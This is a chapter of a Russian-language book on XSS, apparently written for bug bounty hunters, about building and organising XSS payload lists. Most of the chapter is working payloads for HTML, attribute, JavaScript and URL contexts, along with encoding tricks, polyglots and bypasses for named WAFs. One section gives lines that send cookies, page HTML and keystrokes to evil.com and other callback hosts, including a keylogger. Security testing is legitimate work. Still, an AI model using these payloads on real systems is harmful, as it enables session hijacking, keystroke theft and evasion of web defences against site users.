Книга: «Все об уязвимости XSS». Глава 5: Поиск XSS - Охота началась 🕵️ • Payload-листы: твой арсенал на все случаи жизни

Payload-лист - это не просто текстовый файл со списком <script>alert(1)</script>. Это твоя библиотека знаний, закодированная в атакующих векторах. Это результат опыта сотен охотников, тысяч багов и миллионов часов fuzzing'а. Хороший payload-лист - разница между находкой critical-уязвимости за 5 минут и пустой тратой недели на сайте, где XSS есть, но ты его не нашёл. Давай разберёмся, как собрать, организовать и использовать арсенал, который будет работать на тебя годами.

Философия payload-листа: качество против количества

Новички часто скачивают первый попавшийся payload-лист на 50000 строк и думают "вот теперь я крут". Потом запускают fuzzing, ждут три часа, получают 49995 timeout'ов и 5 false positive'ов. Проблема в подходе.

Плохой payload-лист: 50000 вариаций одного и того же, без структуры, без понимания контекста, половина устаревших payload'ов для IE6.

Хороший payload-лист: 200-500 тщательно отобранных векторов, организованных по контекстам, с комментариями о том, когда и почему каждый работает, регулярно обновляемых.

Твоя задача - не собрать самый большой список, а создать самый эффективный. Каждый payload должен иметь свою цель и отличаться от остальных чем-то значимым.

Базовая структура: payload'ы по контекстам

Как мы разбирали в главе 3, контекст решает всё . Твой payload-лист должен быть организован именно по контекстам выполнения.

HTML Context Payloads

Здесь твой ввод попадает между HTML-тегами в тело документа.

Базовые векторы:

<script>alert(1)</script>

<script>alert(document.domain)</script>

<script>alert(document.cookie)</script>

<script src=//evil.com/x.js></script>

Альтернативные теги:

<img src=x onerror=alert(1)>

<svg onload=alert(1)>

<body onload=alert(1)>

<iframe src="javascript:alert(1)">

<embed src="javascript:alert(1)">

<object data="javascript:alert(1)">

<details open ontoggle=alert(1)>

<video src=x onerror=alert(1)>

<audio src=x onerror=alert(1)>

Мини-теги и экзотика:

<svg/onload=alert(1)>

<img/src=x/onerror=alert(1)>

<marquee onstart=alert(1)>

<isindex type=image src=x onerror=alert(1)>

Attribute Context Payloads

Для случаев, когда твой ввод оказывается внутри значения HTML-атрибута.

Quoted attributes (с кавычками):

" onclick="alert(1) "

onmouseover="alert(1) "

onfocus="alert(1)"

autofocus=" "><script>alert(1)</script>

'><script>alert(1)</script>

"></iframe><script>alert(1)</script>

Unquoted attributes (без кавычек):

onclick=alert(1)

onmouseover=alert(1)

autofocus onfocus=alert(1)

x onclick=alert(1) x

URL-схемы в href/src:

javascript:alert(1)

javascript:alert(document.domain)

javascript:eval('alert(1)')

data:text/html,<script>alert(1)</script> data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

JavaScript Context Payloads

Когда твой ввод внутри тега <script> или в JavaScript-строке, как мы детально разбирали ранее .

Breaking из строк:

';alert(1);// ';alert(1);' "-alert(1)-" '-alert(1)-' </script><script>alert(1)</script>

Breaking из функций:

');alert(1);// ');alert(1);(' ',alert(1),' ',alert(1)//

Template literals (ES6):

${alert(1)} ${alert(document.domain)} ${eval('alert(1)')}

URL Context Payloads

Для параметров URL и редиректов:

javascript:alert(1) javascript:alert(document.domain) javascript:eval(atob('YWxlcnQoMSk=')) data:text/html,<script>alert(1)</script> data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== //evil.com/xss.js https://evil.com/xss.js

Обфускация и bypass-payload'ы

Второй слой твоего арсенала — payload'ы для обхода фильтров, используя техники из главы 4 .

Case manipulation:

<ScRiPt>alert(1)</sCrIpT> <sCrIpT>alert(1)</ScRiPt> <SCRIPT>alert(1)</SCRIPT> <iMg sRc=x oNeRrOr=alert(1)>

HTML Entity Encoding:

<img src=x onerror=&#97;lert(1)> <img src=x onerror=&#x61;lert(1)> <img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;"> &#60;script&#62;alert(1)&#60;/script&#62; &lt;script&gt;alert(1)&lt;/script&gt;

Unicode Escapes:

<img src=x onerror="\u0061lert(1)"> <img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)"> <script>\u0061lert(1)</script>

Base64 + eval:

<script>eval(atob('YWxlcnQoMSk='))</script> <img src=x onerror="eval(atob('YWxlcnQoMSk='))"> <svg onload="eval(atob('YWxlcnQoMSk='))">

String.fromCharCode:

<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script> <img src=x onerror="eval(String.fromCharCode(97,108,101,114,116,40,49,41))">

Tag Breaking:

<scr<script>ipt>alert(1)</scr</script>ipt> <scr\x00ipt>alert(1)</scr\x00ipt> <iframe src="java\tscript:alert(1)"> <iframe src="java&#09;script:alert(1)">

Null bytes и whitespace:

<scri%00pt>alert(1)</scri%00pt> <script >alert(1)</script> <script >alert(1)</script> <svg/onload=alert(1)> <svg//onload=alert(1)>

Polyglot Payloads - универсальные солдаты

Polyglot payload - это вектор, который работает в нескольких контекстах одновременно. Это твоя тяжёлая артиллерия для случаев, когда непонятно, в каком контексте окажется ввод.

Классический polyglot от Gareth Heyes:

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Более короткие варианты:

'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg">

Компактный polyglot:

"><svg/onload=alert(1)> '><svg/onload=alert(1)> --><svg/onload=alert(1)>

Специализированные payload'ы

Для Blind XSS (с callback):

<script src="https://your-xss-hunter.com/unique_id"></script> <script>fetch('https://your-server.com/log?c='+document.cookie)</script> <img src=x onerror="fetch('https://your-server.com/?d='+document.domain)"> <svg onload="new Image().src='https://hook.io/?'+document.cookie">

Для кражи данных:

<script>location='https://evil.com/?c='+document.cookie</script> <script>fetch('https://evil.com/steal',{method:'POST',body:document.cookie})</script> <script>new Image().src='https://evil.com/?html='+encodeURIComponent(document.body.innerHTML)</script>

Для keylogging:

<script>document.onkeypress=function(e){fetch('https://evil.com/keys?k='+e.key)}</script>

Для DOM-based XSS:

#<script>alert(1)</script> #<img src=x onerror=alert(1)> ?param=<script>alert(1)</script>

Browser-specific:

<!-- Firefox --> <xss id=x tabindex=1 onactivate=alert(1)></xss> <!-- Chrome/Edge --> <audio src onloadstart=alert(1)> <!-- Safari --> <form><button formaction="javascript:alert(1)">Click</button></form>

WAF-specific bypass payload'ы

Cloudflare:

<svg/OnLoAd=prompt`1`> <dETAILS%0aopen%0aonToGGle%0a=%0aa=prompt,a`1`> <img sRc=x:x onerRor=prompt`1`>

ModSecurity:

<script>window['alert'](1)</script> <script>window['al'+'ert'](1)</script> <script>eval('al'+'ert(1)')</script>

Akamai:

<d3v/oNcliCk=alert`1`>clickme <iMg sRc=x:xx oNerrOr=alert`1`>

Организация и хранение payload-листов

Структура директорий:

xss-payloads/
├── basic/
│ ├── html-context.txt
│ ├── attribute-context.txt
│ ├── js-context.txt
│ └── url-context.txt
├── bypass/
│ ├── case-manipulation.txt
│ ├── encoding.txt
│ ├── obfuscation.txt
│ └── tag-breaking.txt
├── specialized/
│ ├── blind-xss.txt
│ ├── polyglots.txt
│ ├── dom-based.txt
│ └── data-exfiltration.txt
└── waf-bypass/
├── cloudflare.txt
├── modsecurity.txt
└── akamai.txt

Формат файла:

# HTML Context - Basic Vectors
# Description: Direct injection into HTML body
# Classic script tag
<script>alert(1)</script>
# Image onerror - auto-trigger
<img src=x onerror=alert(1)>
# SVG onload - compact and effective
<svg onload=alert(1)>
# iframe javascript: - works in older browsers
<iframe src="javascript:alert(1)">

Комментарии помогут тебе через год вспомнить, зачем ты добавил конкретный payload.

Где брать готовые payload-листы

Топ источников:

  1. PayloadAllTheThings (GitHub) - самая полная коллекция, постоянно обновляется
  2. SecLists/XSS - качественная подборка от Daniel Miessler
  3. PortSwigger XSS Cheat Sheet - официальный список от создателей Burp Suite
  4. OWASP XSS Filter Evasion - фокус на обход защит
  5. XSS-Payload-List от payloadbox - хорошая база для старта
  6. HackTricks XSS - отличная документация с примерами

Важно: Не копируй слепо. Изучи каждый payload, пойми, как и почему он работает. Протестируй на собственном тестовом сервере. Оставь только те, которые действительно полезны для твоих целей.

Как создавать свои payload'ы

Шаг 1: Изучи спецификации

Читай HTML Living Standard, ECMAScript specs, DOM specs. Каждый новый тег, атрибут или API — потенциальный вектор атаки.

Шаг 2: Мониторь CVE и bug bounty отчёты

Смотри, какие payload'ы используют другие охотники. Адаптируй их под свои нужды.

Шаг 3: Экспериментируй

Создай локальный HTML-файл, тестируй разные комбинации тегов, атрибутов, encoding'ов. Что-то сработает неожиданно — добавь в список.

Шаг 4: Автоматизируй генерацию

Напиши скрипт для генерации вариаций:

base_payloads = ['<script>alert(1)</script>', '<img src=x onerror=alert(1)>']
encodings = ['normal', 'html_entity', 'url', 'unicode']
for payload in base_payloads:
for encoding in encodings:
print(encode(payload, encoding))

Шаг 5: Документируй успехи

Каждый раз, когда payload сработал на реальной цели, записывай:

  • Какой payload
  • На каком сайте
  • В каком контексте
  • Какие фильтры обошёл

Это твоя база знаний.

Поддержка и обновление payload-листов

Регулярно (раз в квартал):

  • Проверяй новые техники из конференций (DEF CON, Black Hat, OWASP)
  • Добавляй payload'ы из свежих CVE
  • Удаляй устаревшие (для IE6, Flash, etc.)
  • Тестируй актуальность на свежих версиях браузеров

Git для версионирования:

git init git add xss-payloads/ git commit -m "Initial payload collection"

Так ты можешь отслеживать изменения и откатываться к предыдущим версиям.

Практические советы по использованию

  1. Начинай с малого: Не грузи 50000 payload'ов в Burp Intruder. Начни с 50 базовых, потом углубляйся.
  2. Контекст-ориентированный подход: Сначала определи контекст через canary payload, потом используй только релевантные векторы.
  3. Персонализация под цель: Если видишь Cloudflare WAF - берёшь Cloudflare-bypass payload'ы, а не общие.
  4. Комбинируй техники: Используй encoding + case manipulation + tag breaking одновременно для максимальной эффективности.
  5. Автоматизация ≠ замена мозгов: Payload-листы - это помощник, не замена мышлению. Лучшие находки всегда приходят от кастомных, ручных payload'ов.

Заключение

Твой payload-лист - это живой организм. Он растёт вместе с твоим опытом, адаптируется под новые защиты, эволюционирует вместе с веб-технологиями. Начни с качественной базы из проверенных источников, но не останавливайся на этом. Добавляй свои находки, экспериментируй, документируй, делись с комьюнити. Хороший payload-лист - это не то, что ты скачал один раз. Это то, что ты создаёшь годами, payload за payload'ом, баг за багом, успех за успехом. И когда придёт момент, и нужно будет найти critical XSS на защищённой цели за ограниченное время - именно твой арсенал, выкованный опытом, станет решающим фактором между успехом и провалом.

40 views·3 shares